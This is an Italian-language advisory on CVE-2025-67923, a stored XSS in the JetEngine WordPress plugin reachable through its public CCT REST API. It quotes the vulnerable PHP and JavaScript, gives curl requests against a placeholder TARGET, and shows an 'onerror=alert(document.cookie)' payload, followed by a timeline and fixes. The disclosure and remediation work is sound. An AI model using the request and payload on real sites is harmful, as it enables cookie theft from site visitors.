
JetEngine <= 3.7.7 — Cross-Site Scripting persistente non autenticato tramite CCT REST API
Data: 11 marzo 2026 Punteggio CVSS: 7,1 (Alto) Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Plugin interessato: JetEngine <= 3.7.7 Slug del plugin: jet-engine Corretto nella versione: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Ricercatore: Bonds (via Patchstack) Segnalato: 19 ottobre 2025 Divulgato: gennaio 2026 Versione di WordPress testata: Ultima
CVE-2025-67923 è una vulnerabilità di Cross-Site Scripting memorizzato non autenticato nel plugin WordPress JetEngine che interessa tutte le versioni fino alla 3.7.7 inclusa. Un attaccante non autenticato può scrivere HTML/JavaScript arbitrario in un campo di testo di un Custom Content Type (CCT) tramite l'API REST pubblica; tale contenuto viene poi iniettato non sanificato nel DOM tramite un sink JavaScript innerHTML nel widget Maps Listing quando una vittima visita qualsiasi pagina contenente quel widget.
L'attacco non richiede autenticazione né privilegi. Richiede solo che:
public.✅ VULNERABILITÀ CONFERMATA — Payload XSS memorizzato scritto ed eseguito
Impatto confermato:
La vulnerabilità è una combinazione di due debolezze indipendenti:
Mancata sanificazione dell'input (archiviazione): il metodo sanitize_field_value() del gestore degli elementi CCT non ha alcun percorso di sanificazione per i campi di tipo text. Il caso default: converte solo i timestamp — l'HTML grezzo passa e viene persistito nel database.
Sink XSS basato su DOM (renderizzazione): il widget Maps Listing legge il valore del campo memorizzato tramite get_marker_label(), lo avvolge in htmlspecialchars(json_encode(...)) per l'attributo HTML data-markers, e il frontend JavaScript legge l'attributo con getAttribute() (che decodifica le entità HTML), quindi inserisce markerData.label direttamente tramite innerHTML — eseguendo qualsiasi HTML/JavaScript incorporato.
Il controller REST pubblico CCT controlla i permessi tramite check_user_permissions():
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
$content_type = $this->get_content_type_from_request( $request );
$cap = $content_type->get_arg( $context );
if ( ! $cap || 'public' === $cap ) {
return true; // Nessuna autenticazione richiesta
} else {
return current_user_can( $cap );
}
}
public function create_item_permissions_check( $request ) {
return $this->check_user_permissions( $request, 'rest_put_access' );
}
Quando un CCT è configurato con rest_put_access = 'public' (una configurazione supportata e documentata per moduli pubblici), l'endpoint è completamente non autenticato. Qualsiasi client HTTP può inviare una POST a /wp-json/jet-cct/{slug}.
Il gestore REST chiama $handler->update_item($params) che raggiunge sanitize_field_value():
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
$type = isset( $field['type'] ) ? $field['type'] : false;
switch ( $type ) {
case 'repeater': // sanifica i sotto-campi
// ...
case 'checkbox': // gestisce array booleani
case 'checkbox-raw':
// ...
case 'media':
case 'gallery': // sanifica JSON multimediale
// ...
case 'wysiwyg':
$value = jet_engine_sanitize_wysiwyg( $value ); // sanificato
break;
default:
// I CAMPI DI TIPO TEXT FINISCONO QUI — solo conversione timestamp, NESSUNA sanificazione HTML
$value = $this->factory->maybe_to_timestamp( $value, $field );
}
return $value;
}
Un campo di tipo text raggiunge il ramo default:. maybe_to_timestamp() restituisce il valore invariato per stringhe non data. Il payload XSS `` viene memorizzato verbatim.
Quando il widget Maps Listing viene renderizzato, get_marker_label() legge il campo:
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {
// ...
switch ( $label_type ) {
case 'meta_field':
$field = $settings['marker_label_field'];
if ( $field ) {
$result = jet_engine()->listings->data->get_meta( $field, $post );
// Nessun esc_html() qui — valore grezzo restituito
}
break;
}
return $result; // Restituisce ""
}
Il valore restituito viene inserito nell'array dei dati del marcatore:
// render.php:231-237
$result[] = array(
'id' => $post_id,
'latLang' => $latlang,
'label' => $this->get_marker_label( $post, $settings ), // payload XSS grezzo
// ...
);
L'array dei marcatori viene codificato per un attributo HTML:
// render.php:247
return htmlspecialchars( json_encode( $result ) );
json_encode serializza `` come la stringa "". htmlspecialchars codifica quindi in HTML l'intero JSON, producendo:
[{...,"label":"<img src=x onerror=alert(1)>",...}]
Questo viene scritto nell'attributo HTML data-markers. La codifica protegge solo il confine dell'attributo. Quando JavaScript legge l'attributo, il browser decodifica le entità HTML, ripristinando i caratteri originali:
// Il browser decodifica automaticamente le entità quando legge tramite dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''
In frontend-maps.js, la stringa dell'etichetta grezza viene inserita direttamente in una stringa di contenuto HTML:
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//
// </div>'
Questa stringa di contenuto viene poi impostata come innerHTML dell'elemento marcatore:
// mapbox-maps.js:175
el.innerHTML = data.content; // L'XSS SCATTA
// leaflet-maps.js:34
contentHtml.innerHTML = content; // L'XSS SCATTA
Ogni visitatore che carica una pagina contenente il widget Maps Listing attiva il payload.
maps-listings e custom-content-types sono abilitati.locations (slug: locations) con:
rest_put_enabled = truerest_put_access = 'public'text chiamato labelmarker_type = 'text'marker_label_type = 'meta_field'marker_label_field = 'label'curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
-H 'Content-Type: application/json' \
-d '{
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}'
Risposta:
{"success": true, "item_id": 1}
curl -s 'http://TARGET/wp-json/jet-cct/locations'
Risposta:
[{
"_ID": "1",
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}]
Il tag `` è memorizzato verbatim — nessuna sanificazione è avvenuta.
Qualsiasi visitatore, autenticato o non autenticato, che carica una pagina contenente il widget Maps Listing eseguirà il payload. L'attributo HTML renderizzato contiene:
<div class="jet-map-box"
data-markers="[{..."label":"<img src=x onerror=alert(document.cookie)>"...}]"
data-general="...">
</div>
JavaScript legge data-markers, decodifica le entità HTML, esegue il parsing JSON e inserisce nel DOM:
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror scatta → alert(document.cookie)
Attaccante WordPress REST API Browser della vittima
| | |
|-- POST /wp-json/jet-cct/ ---> | |
| {"label":" |
| | el.innerHTML = label
| | onerror=alert() SCATTA
sanitize_field_value() gestisce esplicitamente wysiwyg con sanificazione basata su wp_kses, ma colloca tutti gli altri tipi di stringa in un ramo default: che non esegue alcun escaping HTML. Il presupposto che i campi text siano testo semplice viene violato quando tali valori vengono successivamente renderizzati come HTML tramite il percorso innerHTML del widget Maps.
htmlspecialchars(json_encode($result)) viene applicato per proteggere il confine dell'attributo HTML. Questo è corretto e necessario — ma non è sufficiente a prevenire l'XSS quando il valore viene successivamente riletto tramite JavaScript e inserito nel DOM via innerHTML. La codifica è reversibile dal browser. La soluzione corretta è applicare esc_html() (o htmlspecialchars) al singolo valore label prima della codifica JSON, in modo che il payload sia memorizzato nel JSON come testo codificato in entità. Quando JavaScript lo inserisce tramite innerHTML, il browser renderizza <img> come testo, non come tag HTML.
In alternativa, sostituire innerHTML con textContent nel JavaScript per il campo dell'etichetta.
Il percorso di scrittura API REST (update_item) non tratta tutti i valori memorizzati come potenziali sink HTML. La politica di sanificazione è definita solo per tipo di campo, con i campi text esentati silenziosamente nonostante vengano renderizzati come HTML sul frontend tramite il widget Maps.
| Data | Evento |
|---|---|
| 19 ottobre 2025 | Vulnerabilità segnalata dal ricercatore "Bonds" tramite Patchstack |
| Gennaio 2026 | Divulgazione pubblica |
| Gennaio 2026 | Rilasciata JetEngine 3.7.8 con la correzione |
| 11 marzo 2026 | Riprodotta in modo indipendente con PoC completo |
| File | Problema |
|---|
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424 | create_item_permissions_check restituisce true quando CCT rest_put_access = 'public' — nessuna autenticazione richiesta |
includes/modules/custom-content-types/inc/item-handler.php:489 | ramo default: di sanitize_field_value() — nessuna sanificazione HTML per i campi di tipo text |
includes/modules/maps-listings/inc/render.php:233 | get_marker_label() restituisce il valore meta grezzo senza esc_html() |
includes/modules/maps-listings/inc/render.php:247 | htmlspecialchars(json_encode($result)) — protegge solo il confine dell'attributo, non l'iniezione innerHTML |
includes/modules/maps-listings/assets/js/frontend-maps.js:112 | pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — etichetta grezza inserita nella stringa HTML |
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175 | el.innerHTML = data.content — sink di esecuzione XSS |
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34 | contentHtml.innerHTML = content — sink di esecuzione XSS |
| Fix | File | Descrizione |
|---|
| Sanificare i campi text al salvataggio | item-handler.php:sanitize_field_value() | Aggiungere $value = wp_kses($value, []) o sanitize_text_field($value) nel ramo default: |
| Escapare l'etichetta al momento della renderizzazione | render.php:get_marker_label() | Applicare esc_html($result) prima di restituire il valore dell'etichetta |
Usare textContent invece di innerHTML per le etichette | frontend-maps.js, mapbox-maps.js, leaflet-maps.js | Sostituire el.innerHTML = data.content con una costruzione DOM sicura quando il contenuto è solo testo dell'etichetta |
| Limitare l'accesso di scrittura REST per impostazione predefinita | Impostazioni del plugin | Modificare il valore predefinito di rest_put_access in manage_options anziché public; richiedere un consenso esplicito |